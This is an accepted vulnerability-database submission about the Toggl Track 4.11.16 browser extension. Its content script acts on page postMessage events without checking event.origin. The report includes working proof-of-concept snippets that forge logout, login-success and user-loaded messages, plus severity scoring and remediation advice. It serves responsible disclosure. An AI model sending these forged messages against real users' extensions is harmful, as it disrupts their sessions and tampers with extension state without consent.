Submit #875273: Toggl OÜ Toggl Track 4.11.16 Origin Validation Error

This report does not claim confirmed account takeover or confirmed cross-account data corruption.

## Technical Details

The affected content script listens for page `message` events:

```javascript
window.addEventListener("message", e => {
if (e.source === window &&
["from-webapp", "from-public-web"].includes(e.data.direction)) {

switch (e.data.message) {
case "user-loaded":
sendMessage({
type: "VERIFY_USER",
payload: { userId: e.data.userId }
});
break;

case "logout":
sendMessage({ type: "CLEAR_DATA" });
break;

case "login-success":
sendMessage({ type: "activate" });
break;
}
}
});
```

The existing checks are not sufficient security controls:

- `e.source === window` only confirms that the message came from the same window. Any script running in the main page frame can satisfy this condition.
- `e.data.direction` is a sender-controlled string field. Any sender can set it to `from-webapp` or `from-public-web`.
- No `event.origin` allowlist is checked before processing session-state messages.

This creates the following data flow:

```text
untrusted page-level script
-> window.postMessage({ direction: "from-webapp", message: "logout" }, "*")
-> Toggl Track content script accepts message without origin validation
-> content script sends CLEAR_DATA to extension background
-> extension session state is cleared
```

Similar forged messages can reach the `login-success` and `user-loaded` branches.

## Proof of Concept

The following proof of concept should be performed only in a controlled browser profile.

Prerequisites:

1. Toggl Track version 4.11.16 is installed.
2. The user is logged in to the extension.
3. The affected content-script message handler is active on the current page.
4. A test script can run in the page context.

Forced logout test:

```javascript
window.postMessage({
direction: "from-webapp",
message: "logout"
}, "*");
```

Forged activation signal:

```javascript
window.postMessage({
direction: "from-webapp",
message: "login-success"
}, "*");
```

Forged user-loaded signal:

```javascript
window.postMessage({
direction: "from-webapp",
message: "user-loaded",
userId: "123456"
}, "*");
```

Expected safe behavior:

The extension should reject messages unless they originate from trusted Toggl-controlled origins or from an extension-controlled messaging channel.

Observed vulnerable behavior:

The content script processes the forged message based on sender-controlled message fields and triggers the corresponding extension action.

## Suggested CVSS

Suggested CVSS v3.1 vector:

`CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:L`

Suggested severity: Medium

Rationale: exploitation requires the user to visit or interact with a page where an attacker-controlled script can run and where the affected content-script handler is active. The attack crosses the page-to-extension trust boundary. The confirmed integrity impact is low because forged messages can manipulate extension session state. The availability impact is low because forced logout can interrupt extension use and time tracking. No direct confidentiality impact is claimed.

If VulDB scores only the forced logout behavior and not the broader session-state message forgery, a more conservative vector may be:

`CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L`

## Suggested CVE Description

Toggl OÜ Toggl Track Chrome extension 4.11.16 accepts forged session-state messages through an unauthenticated `postMessage` handler. The content script checks `event.source === window` and sender-controlled `event.data.direction` values, but does not validate `event.origin`. A page-level script can send forged `logout`, `login-success`, or `user-loaded` messages and trigger corresponding extension session-state actions.

## Remediation Suggestions

- Validate `event.origin` against a strict allowlist before processing session-state messages.
- Accept messages only from trusted Toggl-controlled origins, such as `https://track.toggl.com` and other documented production origins.
- Do not rely on sender-controlled fields such as `direction` as trust indicators.
- Use an extension-controlled messaging channel where possible instead of page-context `postMessage`.
- For `user-loaded`, validate the supplied user ID against the extension's authenticated session before taking action.
- Add regression tests that confirm untrusted page scripts cannot trigger logout, activation, or user verification flows.

## References

- Chrome Web Store listing: `https://chromewebstore.google.com/detail/toggl-track-productivity/oejgccbfbmkkpaidnkphaiaecficdnfn`
- Source repository: `https://github.com/toggl/track-extension`
- Toggl legal terms identifying Toggl OÜ: `https://toggl.com/legal/track/terms/`

• Source: ⚠️ https://github.com/xryj920/chrome_extensions/blob/main/Toggl%20O%C3%9C%20Toggl%20Track%204.11.16%20accepts%20forged%20session-state%20messages%20through%20an%20unauthenticated%20postMessage%20handler
• User: DRXYJ (UID 46872)
• Submission: 07/01/2026 04:40 (2 months ago)
• Moderation: 08/31/2026 07:10 (2 months later)
• Status: Accepted
• VulDB entry: 397230 [Toggl OÜ Toggl Track Extension 4.11.16 postMessage origin validation]
• Points: 20